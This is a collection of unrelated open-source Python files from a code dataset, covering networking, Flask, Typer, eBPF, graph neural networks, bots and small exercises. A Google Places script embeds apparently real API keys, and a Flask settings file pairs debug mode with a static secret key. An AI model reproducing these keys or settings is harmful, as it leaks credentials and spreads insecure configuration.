self._settings[\"packet_capture_analyzer_command\"]\n temp_capture_file_path = os.path.join(tempfile.gettempdir(), os.path.basename(self._capture_file_path))\n\n try:\n shutil.copy(self._capture_file_path, temp_capture_file_path)\n except OSError:\n raise\n\n command = command.replace(\"%c\", '\"' + temp_capture_file_path + '\"')\n self._capture_analyzer_process = subprocess.Popen(command)\n\n def captureFileName(self, source_node_name):\n \"\"\"\n Returns a capture file name.\n\n :param source_node_name: source node name\n\n :return: capture file name\n \"\"\"\n\n capture_file_name = \"{}_{}_to_{}_{}\".format(source_node_name,\n self.name().replace('/', '-'),\n self.destinationNode().name(),\n self.destinationPort().name().replace('/', '-'))\n\n return normalize_filename(capture_file_name) + \".pcap\"\n\n def dump(self):\n \"\"\"\n Returns a representation of this port.\n\n :returns: dictionary\n \"\"\"\n\n port = {\"name\": self._name,\n \"id\": self._id}\n\n if self._nio:\n port[\"nio\"] = str(self._nio)\n if self._port_number is not None:\n port[\"port_number\"] = self._port_number\n if self._adapter_number is not None:\n port[\"adapter_number\"] = self._adapter_number\n if self._stub:\n port[\"stub\"] = self._stub\n if self.description():\n port[\"description\"] = self.description()\n if self._link_id is not None:\n port[\"link_id\"] = self._link_id\n\n return port\n\n def __str__(self):\n\n return self._name\n","repo_name":"mpplab/MNSS","sub_path":"gns3/ports/port.py","file_name":"port.py","file_ext":"py","file_size_in_byte":16366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16921529492","text":"#\n# $Id$\n#\n\n# Put items in here if there is a chance that they might be modified in different installations\n# that way the main application module doesn't accidentally get checked in with changes that\n# could make the app break in different places.\n\n# When you add an item, make the production value the default and add an example of possible\n# alternate values when installed in a test environment.\n\n# --- Begin Flask configuration ---\n\n# the database is local\nimport os\nSQLALCHEMY_DATABASE_URI = 'sqlite:////Users/smcclure/Projects/Wolf/wolf.db'\n#DEBUG = False\n# use this setting so that tracebacks show up in the web page or the httpd logs\nDEBUG = True\n\nPORT=9876\n\nimport os\n#SECRET_KEY = os.urandom(16)\n# when testing, use a static secret key so that sessions will live over restarts and the\n# debugging can pick up right where it left off instead of logging in again and starting over\nSECRET_KEY = 'development key'\n\n#SESSION_TIMEOUT = 600\n# during development, set the timeout to 0 so that the session will survive and not force you\n# to login over and over\nSESSION_TIMEOUT = 0\n\n# --- End Flask configuration ---\n\n# --- Begin application configuration ---\n\n# logging configuration\nLOG_LEVEL='ERROR'\nLOG_FILE_PATH = 'error.log'\n\n# --- End application configuration ---\n","repo_name":"skmcclure/wolf","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37200116073","text":"def main(arr):\r\n '''\r\n Question: Replace each ele by product of it's\r\n prev and next\r\n\r\n Approach:\r\n '''\r\n prev = arr[0]\r\n for i in range(len(arr)):\r\n curr = arr[i]\r\n\r\n if i == len(arr) - 1:\r\n next = arr[i]\r\n else:\r\n next = arr[i+1]\r\n arr[i] = prev * next\r\n\r\n prev = curr\r\n\r\n print(arr)\r\n\r\n\r\nmain([2, 3, 4, 5, 6])\r\n","repo_name":"punisher21maximum/MyDSAVault","sub_path":"7 Arrays/2 Arrangement Rearrangement/23_replaceEachEleByProductOfPrevAndNext.py","file_name":"23_replaceEachEleByProductOfPrevAndNext.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15578162319","text":"import requests\n\nurl = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=-33.8670522%2C151.1957362&radius=1500&type=restaurant&keyword=cruise&key=AIzaSyCK9X5wfxp6YyHIDCwEIeDzYWFhziw9MUc\"\n\npayload={\n # \"location\": \"51.51924%2C-0.096654\",\n # \"radius\": \"1500\",\n # \"type\": \"restaurant\",\n # \"keyword\": \"cruise\",\n # \"key\": \"AIzaSyD-9tSrke72PouQMnMX-a7eZSW0jkFMBWY\"\n}\ndata ={}\nheaders = {\n\n}\n\nresponse = requests.request(\"GET\", url,params=payload, headers=headers, data=data)\nprint(response)\nprint(response.text)\nfor i in response.json()['results']:\n print(f\"{i['name']}, {i['rating']}\")\n\n# print(response.text)","repo_name":"maanikg/VacayAway","sub_path":"test-router/python/placesAPI.py","file_name":"placesAPI.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38215034319","text":"class Solution:\n def minimumDeleteSum(self, s1: str, s2: str) -> int:\n dp = [[0 for j in range(len(s2)+1)] for i in range(len(s1)+1)]\n #dp[i][j] represents the lowest ASCII sum of deleted characters to make word1[:i] and word2[:j] identical\n for i in range(len(s1)+1):\n for j in range(len(s2)+1):\n if i == 0 and j == 0: #for two empty string, keep dp[0][0] = 0\n continue\n elif i == 0: #if one of the string is zero, the lowest ASCII sum of deleted characters will be the sum of the other string\n dp[i][j] = sum([ord(x) for x in s2[:j]])\n elif j == 0:\n dp[i][j] = sum([ord(x) for x in s1[:i]])\n elif s1[i-1] == s2[j-1]: #if the current character is same, set dp[i][j] as dp[i-1][j-1]\n dp[i][j] = dp[i-1][j-1]\n else: # if not the same, find the minimum between dp[i-1][j] + ord(s1[i-1]) and dp[i][j-1] + ord(s2[j-1])\n dp[i][j] = min(dp[i-1][j] + ord(s1[i-1]),dp[i][j-1] + ord(s2[j-1]))\n return dp[-1][-1]\n","repo_name":"Chestermozhao/Notes","sub_path":"algorithms_practice/712.py","file_name":"712.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23913022552","text":"a=int(input())\r\ncnt=0\r\nb=list(map(int,input().split()))\r\n\r\nfor i in b:\r\n if i==1:\r\n cnt+=1\r\n continue\r\n for j in range(2,i):\r\n if i%j==0:\r\n \r\n cnt+=1\r\n break\r\nprint(a-cnt)","repo_name":"yeongbin05/algorithm","sub_path":"백준/Silver/1978. 소수 찾기/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70725502225","text":"import inspect\nimport os\nimport sys\nfrom gettext import gettext as _\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Callable,\n Dict,\n List,\n Optional,\n Sequence,\n Tuple,\n Union,\n cast,\n)\n\nimport click\nimport click.core\nimport click.formatting\nimport click.parser\nimport click.types\n\nfrom .utils import _get_click_major\n\nif TYPE_CHECKING: # pragma: no cover\n import click.shell_completion\n\n\n# TODO: when deprecating Click 7, remove this\ndef _typer_param_shell_complete(\n self: click.core.Parameter, ctx: click.Context, incomplete: str\n) -> List[\"click.shell_completion.CompletionItem\"]:\n if self._custom_shell_complete is not None:\n results = self._custom_shell_complete(ctx, self, incomplete)\n\n if results and isinstance(results[0], str):\n from click.shell_completion import CompletionItem\n\n results = [CompletionItem(c) for c in results]\n\n return cast(List[\"click.shell_completion.CompletionItem\"], results)\n\n return self.type.shell_complete(ctx, self, incomplete)\n\n\ndef _typer_param_setup_autocompletion_compat(\n self: click.Parameter,\n *,\n autocompletion: Optional[\n Callable[[click.Context, List[str], str], List[Union[Tuple[str, str], str]]]\n ] = None,\n) -> None:\n if autocompletion is not None and self._custom_shell_complete is None:\n import warnings\n\n warnings.warn(\n \"'autocompletion' is renamed to 'shell_complete'. The old name is\"\n \" deprecated and will be removed in Click 8.1. See the docs about\"\n \" 'Parameter' for information about new behavior.\",\n DeprecationWarning,\n stacklevel=2,\n )\n\n def compat_autocompletion(\n ctx: click.Context, param: click.core.Parameter, incomplete: str\n ) -> List[\"click.shell_completion.CompletionItem\"]:\n from click.shell_completion import CompletionItem\n\n out = []\n\n for c in autocompletion(ctx, [], incomplete): # type: ignore\n if isinstance(c, tuple):\n c = CompletionItem(c[0], help=c[1])\n elif isinstance(c, str):\n c = CompletionItem(c)\n\n if c.value.startswith(incomplete):\n out.append(c)\n\n return out\n\n self._custom_shell_complete = compat_autocompletion\n\n\nclass TyperArgument(click.core.Argument):\n def __init__(\n self,\n *,\n # Parameter\n param_decls: List[str],\n type: Optional[Any] = None,\n required: Optional[bool] = None,\n default: Optional[Any] = None,\n callback: Optional[Callable[..., Any]] = None,\n nargs: Optional[int] = None,\n metavar: Optional[str] = None,\n expose_value: bool = True,\n is_eager: bool = False,\n envvar: Optional[Union[str, List[str]]] = None,\n shell_complete: Optional[\n Callable[\n [click.Context, click.Parameter, str],\n Union[List[\"click.shell_completion.CompletionItem\"], List[str]],\n ]\n ] = None,\n autocompletion: Optional[Callable[..., Any]] = None,\n # TyperArgument\n show_default: Union[bool, str] = True,\n show_choices: bool = True,\n show_envvar: bool = True,\n help: Optional[str] = None,\n hidden: bool = False,\n ):\n self.help = help\n self.show_default = show_default\n self.show_choices = show_choices\n self.show_envvar = show_envvar\n self.hidden = hidden\n kwargs: Dict[str, Any] = {\n \"param_decls\": param_decls,\n \"type\": type,\n \"required\": required,\n \"default\": default,\n \"callback\": callback,\n \"nargs\": nargs,\n \"metavar\": metavar,\n \"expose_value\": expose_value,\n \"is_eager\": is_eager,\n \"envvar\": envvar,\n }\n if _get_click_major() > 7:\n kwargs[\"shell_complete\"] = shell_complete\n else:\n kwargs[\"autocompletion\"] = autocompletion\n super().__init__(**kwargs)\n if _get_click_major() > 7:\n _typer_param_setup_autocompletion_compat(\n self, autocompletion=autocompletion\n )\n\n def get_help_record(self, ctx: click.Context) -> Optional[Tuple[str, str]]:\n # Modified version of click.core.Option.get_help_record()\n # to support Arguments\n if self.hidden:\n return None\n name = self.make_metavar()\n help = self.help or \"\"\n extra = []\n if self.show_envvar:\n envvar = self.envvar\n # allow_from_autoenv is currently not supported in Typer for CLI Arguments\n if envvar is not None:\n var_str = (\n \", \".join(str(d) for d in envvar)\n if isinstance(envvar, (list, tuple))\n else envvar\n )\n extra.append(f\"env var: {var_str}\")\n if self.default is not None and (self.show_default or ctx.show_default):\n if isinstance(self.show_default, str):\n default_string = f\"({self.show_default})\"\n elif isinstance(self.default, (list, tuple)):\n default_string = \", \".join(str(d) for d in self.default)\n elif inspect.isfunction(self.default):\n default_string = \"(dynamic)\"\n else:\n default_string = str(self.default)\n extra.append(f\"default: {default_string}\")\n if self.required:\n extra.append(\"required\")\n if extra:\n extra_str = \";\".join(extra)\n help = f\"{help} [{extra_str}]\" if help else f\"[{extra_str}]\"\n return name, help\n\n def make_metavar(self) -> str:\n # Modified version of click.core.Argument.make_metavar()\n # to include Argument name\n if self.metavar is not None:\n return self.metavar\n var = (self.name or \"\").upper()\n if not self.required:\n var = \"[{}]\".format(var)\n type_var = self.type.get_metavar(self)\n if type_var:\n var += f\":{type_var}\"\n if self.nargs != 1:\n var += \"...\"\n return var\n\n def shell_complete(\n self, ctx: click.Context, incomplete: str\n ) -> List[\"click.shell_completion.CompletionItem\"]:\n return _typer_param_shell_complete(self, ctx=ctx, incomplete=incomplete)\n\n\nclass TyperOption(click.core.Option):\n def __init__(\n self,\n *,\n # Parameter\n param_decls: List[str],\n type: Optional[Union[click.types.ParamType, Any]] = None,\n required: Optional[bool] = None,\n default: Optional[Any] = None,\n callback: Optional[Callable[..., Any]] = None,\n nargs: Optional[int] = None,\n metavar: Optional[str] = None,\n expose_value: bool = True,\n is_eager: bool = False,\n envvar: Optional[Union[str, List[str]]] = None,\n shell_complete: Optional[\n Callable[\n [click.Context, click.Parameter, str],\n Union[List[\"click.shell_completion.CompletionItem\"], List[str]],\n ]\n ] = None,\n autocompletion: Optional[Callable[..., Any]] = None,\n # Option\n show_default: Union[bool, str] = False,\n prompt: Union[bool, str] = False,\n confirmation_prompt: Union[bool, str] = False,\n prompt_required: bool = True,\n hide_input: bool = False,\n is_flag: Optional[bool] = None,\n flag_value: Optional[Any] = None,\n multiple: bool = False,\n count: bool = False,\n allow_from_autoenv: bool = True,\n help: Optional[str] = None,\n hidden: bool = False,\n show_choices: bool = True,\n show_envvar: bool = False,\n ):\n # TODO: when deprecating Click 7, remove custom kwargs with prompt_required\n # and call super().__init__() directly\n kwargs: Dict[str, Any] = {\n \"param_decls\": param_decls,\n \"type\": type,\n \"required\": required,\n \"default\": default,\n \"callback\": callback,\n \"nargs\": nargs,\n \"metavar\": metavar,\n \"expose_value\": expose_value,\n \"is_eager\": is_eager,\n \"envvar\": envvar,\n \"show_default\": show_default,\n \"prompt\": prompt,\n \"confirmation_prompt\": confirmation_prompt,\n \"hide_input\": hide_input,\n \"is_flag\": is_flag,\n \"flag_value\": flag_value,\n \"multiple\": multiple,\n \"count\": count,\n \"allow_from_autoenv\": allow_from_autoenv,\n \"help\": help,\n \"hidden\": hidden,\n \"show_choices\": show_choices,\n \"show_envvar\": show_envvar,\n }\n if _get_click_major() > 7:\n kwargs[\"prompt_required\"] = prompt_required\n kwargs[\"shell_complete\"] = shell_complete\n else:\n kwargs[\"autocompletion\"] = autocompletion\n super().__init__(**kwargs)\n if _get_click_major() > 7:\n _typer_param_setup_autocompletion_compat(\n self, autocompletion=autocompletion\n )\n\n def get_help_record(self, ctx: click.Context) -> Optional[Tuple[str, str]]:\n # Click 7.x was not breaking this use case, so in that case, re-use its logic\n if _get_click_major() < 8:\n return super().get_help_record(ctx)\n # Duplicate all of Click's logic only to modify a single line, to allow boolean\n # flags with only names for False values as it's currently supported by Typer\n # Ref: https://typer.tiangolo.com/tutorial/parameter-types/bool/#only-names-for-false\n if self.hidden:\n return None\n\n any_prefix_is_slash = False\n\n def _write_opts(opts: Sequence[str]) -> str:\n nonlocal any_prefix_is_slash\n\n rv, any_slashes = click.formatting.join_options(opts)\n\n if any_slashes:\n any_prefix_is_slash = True\n\n if not self.is_flag and not self.count:\n rv += f\" {self.make_metavar()}\"\n\n return rv\n\n rv = [_write_opts(self.opts)]\n\n if self.secondary_opts:\n rv.append(_write_opts(self.secondary_opts))\n\n help = self.help or \"\"\n extra = []\n\n if self.show_envvar:\n envvar = self.envvar\n\n if envvar is None:\n if (\n self.allow_from_autoenv\n and ctx.auto_envvar_prefix is not None\n and self.name is not None\n ):\n envvar = f\"{ctx.auto_envvar_prefix}_{self.name.upper()}\"\n\n if envvar is not None:\n var_str = (\n envvar\n if isinstance(envvar, str)\n else \", \".join(str(d) for d in envvar)\n )\n extra.append(_(\"env var: {var}\").format(var=var_str))\n\n # Temporarily enable resilient parsing to avoid type casting\n # failing for the default. Might be possible to extend this to\n # help formatting in general.\n resilient = ctx.resilient_parsing\n ctx.resilient_parsing = True\n\n try:\n default_value = self.get_default(ctx, call=False)\n finally:\n ctx.resilient_parsing = resilient\n\n show_default_is_str = isinstance(self.show_default, str)\n\n if show_default_is_str or (\n default_value is not None and (self.show_default or ctx.show_default)\n ):\n if show_default_is_str:\n default_string = f\"({self.show_default})\"\n elif isinstance(default_value, (list, tuple)):\n default_string = \", \".join(str(d) for d in default_value)\n elif callable(default_value):\n default_string = _(\"(dynamic)\")\n elif self.is_bool_flag and self.secondary_opts:\n # For boolean flags that have distinct True/False opts,\n # use the opt without prefix instead of the value.\n # Typer override, original commented\n # default_string = click.parser.split_opt(\n # (self.opts if self.default else self.secondary_opts)[0]\n # )[1]\n if self.default:\n if self.opts:\n default_string = click.parser.split_opt(self.opts[0])[1]\n else:\n default_string = str(default_value)\n else:\n default_string = click.parser.split_opt(self.secondary_opts[0])[1]\n # Typer override end\n elif self.is_bool_flag and not self.secondary_opts and not default_value:\n default_string = \"\"\n else:\n default_string = str(default_value)\n\n if default_string:\n extra.append(_(\"default: {default}\").format(default=default_string))\n\n if isinstance(self.type, click.types._NumberRangeBase):\n range_str = self.type._describe_range()\n\n if range_str:\n extra.append(range_str)\n\n if self.required:\n extra.append(_(\"required\"))\n\n if extra:\n extra_str = \"; \".join(extra)\n help = f\"{help} [{extra_str}]\" if help else f\"[{extra_str}]\"\n\n return (\"; \" if any_prefix_is_slash else \" / \").join(rv), help\n\n def shell_complete(\n self, ctx: click.Context, incomplete: str\n ) -> List[\"click.shell_completion.CompletionItem\"]:\n return _typer_param_shell_complete(self, ctx=ctx, incomplete=incomplete)\n\n\ndef _typer_format_options(\n self: click.core.Command, *, ctx: click.Context, formatter: click.HelpFormatter\n) -> None:\n args = []\n opts = []\n for param in self.get_params(ctx):\n rv = param.get_help_record(ctx)\n if rv is not None:\n if param.param_type_name == \"argument\":\n args.append(rv)\n elif param.param_type_name == \"option\":\n opts.append(rv)\n\n # TODO: explore adding Click's gettext support, e.g.:\n # from gettext import gettext as _\n # with formatter.section(_(\"Options\")):\n # ...\n if args:\n with formatter.section(\"Arguments\"):\n formatter.write_dl(args)\n if opts:\n with formatter.section(\"Options\"):\n formatter.write_dl(opts)\n\n\ndef _typer_main_shell_completion(\n self: click.core.Command,\n *,\n ctx_args: Dict[str, Any],\n prog_name: str,\n complete_var: Optional[str] = None,\n) -> None:\n if complete_var is None:\n complete_var = f\"_{prog_name}_COMPLETE\".replace(\"-\", \"_\").upper()\n\n instruction = os.environ.get(complete_var)\n\n if not instruction:\n return\n\n from .completion import shell_complete\n\n rv = shell_complete(self, ctx_args, prog_name, complete_var, instruction)\n sys.exit(rv)\n\n\nclass TyperCommand(click.core.Command):\n def format_options(\n self, ctx: click.Context, formatter: click.HelpFormatter\n ) -> None:\n _typer_format_options(self, ctx=ctx, formatter=formatter)\n\n def _main_shell_completion(\n self,\n ctx_args: Dict[str, Any],\n prog_name: str,\n complete_var: Optional[str] = None,\n ) -> None:\n _typer_main_shell_completion(\n self, ctx_args=ctx_args, prog_name=prog_name, complete_var=complete_var\n )\n\n\nclass TyperGroup(click.core.Group):\n def format_options(\n self, ctx: click.Context, formatter: click.HelpFormatter\n ) -> None:\n _typer_format_options(self, ctx=ctx, formatter=formatter)\n self.format_commands(ctx, formatter)\n\n def _main_shell_completion(\n self,\n ctx_args: Dict[str, Any],\n prog_name: str,\n complete_var: Optional[str] = None,\n ) -> None:\n _typer_main_shell_completion(\n self, ctx_args=ctx_args, prog_name=prog_name, complete_var=complete_var\n )\n","repo_name":"amiradridi/Job-Resume-Matching","sub_path":"venv/Lib/site-packages/typer/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":16049,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"48"} +{"seq_id":"30285460311","text":"import telebot\r\nimport difflib\r\n\r\nbot = telebot.TeleBot(\"\")\r\n\r\n# Define uma função que será chamada quando o usuário enviar a mensagem /start\r\n@bot.message_handler(commands=['start'])\r\ndef send_welcome(message):\r\n bot.reply_to(message, \"Por favor, envie exatamente dois nomes, separados por vírgula, para comparar.\")\r\n bot.reply_to(message, \"Por exemplo: João, Maria\")\r\n# Define uma função que será chamada quando o usuário enviar uma mensagem de texto\r\n@bot.message_handler(func=lambda message: True)\r\n@bot.message_handler(func=lambda message: True)\r\ndef comparar_nomes(message):\r\n nomes = message.text.lower().split(\", \")\r\n print(nomes)\r\n\r\n if len(nomes) != 2:\r\n bot.reply_to(message, \"Por favor, envie exatamente dois nomes para comparar.\")\r\n else:\r\n nome1, nome2 = nomes\r\n if \"João\" in nomes and \"Maria\" in nomes:\r\n pontuacao = 100\r\n bot.reply_to(message, \"Vocês combinam muito!\")\r\n else:\r\n pontuacao = 0\r\n bot.reply_to(message, \"Pense bem, vocês não combinam!\")\r\n\r\n bot.reply_to(message, f\"A pontuação de similaridade entre {nome1} e {nome2} é: {pontuacao}\")\r\n\r\n# Inicia o bot\r\nbot.polling()\r\n","repo_name":"pacnnunes/Bot_Prophet","sub_path":"compare_bot.py","file_name":"compare_bot.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71466076305","text":"\"\"\"\n ScaleConvLayer.\n\"\"\"\n\n\nimport dgl.function as fn\nimport torch\nimport torch.nn as nn\nfrom tools.utils_model import get_activation_func, get_aggregation_func\n\n\nclass SocialScaleConv3x(nn.Module):\n\n def __init__(\n self,\n scales,\n size,\n activation,\n aggregation,\n normalization,\n dropout=0.0\n ):\n\n super(SocialScaleConv3x, self).__init__()\n\n # Input parameters\n self._scales = scales\n self._size = size\n self._activation = activation\n self._aggregation = aggregation\n self._normalization = normalization\n self._dropout = dropout\n\n # Callable Functions\n self._func_activation = get_activation_func(self._activation)\n self._func_aggregation = get_aggregation_func(self._aggregation)\n\n # Layer parameters\n self._layer_scales = nn.ModuleDict()\n self._layer_dropout = nn.Dropout(self._dropout)\n\n for scale in self._scales:\n self._layer_scales[scale] = nn.Linear(\n self._size, self._size, bias=True)\n\n if (self._normalization == 'batch'):\n self._layer_norm = nn.BatchNorm1d(self._size * 3)\n\n elif (self._normalization == 'layer'):\n self._layer_norm = nn.LayerNorm(\n self._size * 3, eps=1e-6, elementwise_affine=True)\n\n # Parameters initialization\n self.init_params(self._activation)\n\n @torch.no_grad()\n def init_params(self, activation):\n \"\"\"Initialize layer parameters.\"\"\"\n\n gain = nn.init.calculate_gain(activation)\n for scale in self._scales:\n nn.init.xavier_uniform_(\n self._layer_scales[scale].weight, gain=gain)\n nn.init.zeros_(self._layer_scales[scale].bias)\n\n def message_func(self, nodes):\n \"\"\"Custom message function.\"\"\"\n\n return {'features': self._func_aggregation(nodes.mailbox['message'], dim=1)}\n\n def forward(self, graph, features):\n \"\"\"Forward step.\"\"\"\n\n outputs = []\n\n # Get relation subgraph\n for scale in self._scales:\n\n # Check features\n assert scale in features, \\\n '>> [ERROR] Inputs missing %s scale features' % scale\n\n # Check graph\n assert scale in graph.etypes, \\\n '>> [ERROR] Graph missing %s scale edges' % scale\n\n # Apply dropout\n scale_features = self._layer_dropout(features[scale])\n\n # Apply weights\n scale_features = self._layer_scales[scale](scale_features)\n\n # Get subgraph\n subgraph = graph.edge_type_subgraph([scale])\n\n # Message passing\n with subgraph.local_scope():\n\n subgraph.nodes[scale].data['features'] = scale_features\n subgraph.update_all(fn.copy_src(\n 'features', 'message'), self.message_func)\n\n outputs.append(subgraph.nodes['relation'].data['features'])\n\n # Generate relation node features\n result = torch.cat(outputs, 1)\n\n # Apply activation\n result = self._func_activation(result)\n\n # Apply normalization\n if self._normalization:\n result = self._layer_norm(result)\n\n return result\n","repo_name":"verlab/Structural_Reasoning_SRR","sub_path":"social_relation_recognition/models/layers/conv_scales_3x.py","file_name":"conv_scales_3x.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"71187799186","text":"from bcc import BPF\n\n# The program for BPF\n# The argument should be struct pt_reg*\nprog = \"\"\"\nint hello(void *ctx) {\n bpf_trace_printk(\"Hello, World!\\\\n\");\n return 0;\n}\n\"\"\"\n# \nb = BPF(text=prog)\n# Create a kprobe for syscall clone, and execute hello() function\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\")\n\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\"))\n\nwhile 1:\n try:\n # Return a fixed set of fields from trace_pipe\n # Better use BPF_PERF_OUTPUT()\n (task, pid, cpu, flags, ts, msg) = b.trace_fields()\n except ValueError:\n continue\n print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg))","repo_name":"keys961/TempRepo","sub_path":"bcc-python/hello_fields.py","file_name":"hello_fields.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12519344634","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv(\"UAH_customer_order_data.csv\")\ndatapd = pd.read_csv(\"UAH_Product_Data.csv\", encoding= 'unicode_escape')\ndesc = data.describe()\n\ndata.rename(columns = {'Lineitem sku':'sku'}, inplace = True)\ndata['Paid at'] = pd.to_datetime(data['Paid at'])\ndata['Year'] = data['Paid at'].dt.year\ndata['Month'] = data['Paid at'].dt.month\ndata['Day'] = data['Paid at'].dt.day\ndata['dayofyear'] = data['Paid at'].dt.dayofyear\ndata['dayofweek'] = data['Paid at'].dt.dayofweek\ndata['weekofyear'] = data['Paid at'].dt.weekofyear\ndata['Hour'] = data['Paid at'].dt.hour\n\n\ncust = data[['Customer Type','Lineitem quantity','Lineitem price','Month','sku']].dropna()\n#print(cpp_data)\n#cpp_data.info()\ncust['Sales'] = cust['Lineitem quantity'] * cust['Lineitem price']\nclt = cust.groupby(['Customer Type'], as_index=False)['Sales'].sum()\nclt_order = clt.sort_values(by='Sales', ascending = False)\ntt_custom = np.sum(clt_order.loc[:,'Sales':].values)\nclt_order['% Total Sales'] = clt_order.loc[:,'Sales':].sum(axis=1)/tt_custom*100\n #displays all data\npd.set_option(\"display.max_rows\", None, \"display.max_columns\", None)\nprint('Top 10 Customers:')\nprint(clt_order.head(n=25).to_string(index=False))\n# clt_order.to_excel (r'C:\\Users\\drake\\Documents\\My Tableau Repository\\top10customers.xlsx', index = False, header=True)\n\ndatapd2 = datapd[['sku','category_name']].dropna()\ncombine = pd.merge(datapd2, cust, how=\"left\", on=\"sku\").dropna()\nsku_cons = combine[['sku','Month','Customer Type','Lineitem quantity','category_name']]\n\nfcd2 = sku_cons.groupby(['Month','Customer Type','category_name']).agg({'Lineitem quantity':'count'})\nprint('Monthly Sales:')\nprint(fcd2)","repo_name":"Drakesanch36/BSSForecast","sub_path":"Customer.py","file_name":"Customer.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71396350225","text":"import pandas as pd\n\nfrom services import YouTubeDataApi\n\ndef loading_data(filename, saveto, client, token):\n youtube = YouTubeDataApi(client, token)\n history_data = pd.read_csv(filename)\n data = []\n\n for videoId in history_data['videoId']:\n response = youtube.get_video_with_id(videoId)\n video_info = youtube.get_video_data(response)\n data.append(video_info)\n\n pd.DataFrame(data).to_csv(saveto)\n\n","repo_name":"rlesiyon/youtube_scrapping","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1564704225","text":"\"\"\"\nTests for the Docker backend.\n\nThis module contains tests for Docker backend features which are not covered by\nsibling modules.\n\"\"\"\n\nimport subprocess\nimport uuid\nfrom pathlib import Path\nfrom typing import Dict\n\n# See https://github.com/PyCQA/pylint/issues/1536 for details on why the errors\n# are disabled.\nimport docker\nimport pytest\nfrom docker.types import Mount\nfrom py.path import local # pylint: disable=no-name-in-module, import-error\nfrom requests_mock import Mocker, NoMockAddress\nfrom retry import retry\n\nfrom dcos_e2e.backends import Docker\nfrom dcos_e2e.cluster import Cluster\nfrom dcos_e2e.docker_storage_drivers import DockerStorageDriver\nfrom dcos_e2e.docker_versions import DockerVersion\nfrom dcos_e2e.node import Node\n\n\n@retry(\n exceptions=(subprocess.CalledProcessError),\n tries=60,\n delay=1,\n)\ndef _wait_for_docker(node: Node) -> None:\n \"\"\"\n Retry for up to one minute (arbitrary) until Docker is running on the given\n node.\n \"\"\"\n node.run(args=['docker', 'info'])\n\n\nclass TestDockerBackend:\n \"\"\"\n Tests for functionality specific to the Docker backend.\n \"\"\"\n\n def test_custom_mounts(self, tmpdir: local) -> None:\n \"\"\"\n It is possible to mount local files to master nodes.\n \"\"\"\n local_all_file = tmpdir.join('all_file.txt')\n local_all_file.write('')\n local_master_file = tmpdir.join('master_file.txt')\n local_master_file.write('')\n local_agent_file = tmpdir.join('agent_file.txt')\n local_agent_file.write('')\n local_public_agent_file = tmpdir.join('public_agent_file.txt')\n local_public_agent_file.write('')\n\n master_path = Path('/etc/on_master_nodes.txt')\n agent_path = Path('/etc/on_agent_nodes.txt')\n public_agent_path = Path('/etc/on_public_agent_nodes.txt')\n all_path = Path('/etc/on_all_nodes.txt')\n\n custom_container_mount = Mount(\n source=str(local_all_file),\n target=str(all_path),\n type='bind',\n )\n\n custom_master_mount = Mount(\n source=str(local_master_file),\n target=str(master_path),\n type='bind',\n )\n\n custom_agent_mount = Mount(\n source=str(local_agent_file),\n target=str(agent_path),\n type='bind',\n )\n\n custom_public_agent_mount = Mount(\n source=str(local_public_agent_file),\n target=str(public_agent_path),\n type='bind',\n )\n\n backend = Docker(\n custom_container_mounts=[custom_container_mount],\n custom_master_mounts=[custom_master_mount],\n custom_agent_mounts=[custom_agent_mount],\n custom_public_agent_mounts=[custom_public_agent_mount],\n )\n\n with Cluster(\n cluster_backend=backend,\n masters=1,\n agents=1,\n public_agents=1,\n ) as cluster:\n for nodes, path, local_file in [\n (cluster.masters, master_path, local_master_file),\n (cluster.masters, all_path, local_all_file),\n (cluster.agents, agent_path, local_agent_file),\n (cluster.agents, all_path, local_all_file),\n (\n cluster.public_agents,\n public_agent_path,\n local_public_agent_file,\n ),\n (cluster.public_agents, all_path, local_all_file),\n ]:\n for node in nodes:\n content = str(uuid.uuid4())\n local_file.write(content)\n args = ['cat', str(path)]\n result = node.run(args=args)\n assert result.stdout.decode() == content\n\n def test_install_dcos_from_url(self, oss_artifact_url: str) -> None:\n \"\"\"\n The Docker backend requires a build artifact in order\n to launch a DC/OS cluster.\n \"\"\"\n with Cluster(\n cluster_backend=Docker(),\n masters=1,\n agents=0,\n public_agents=0,\n ) as cluster:\n with pytest.raises(NotImplementedError) as excinfo:\n cluster.install_dcos_from_url(\n build_artifact=oss_artifact_url,\n dcos_config=cluster.base_config,\n )\n\n expected_error = (\n 'The Docker backend does not support the installation of DC/OS '\n 'by build artifacts passed via URL string. This is because a more '\n 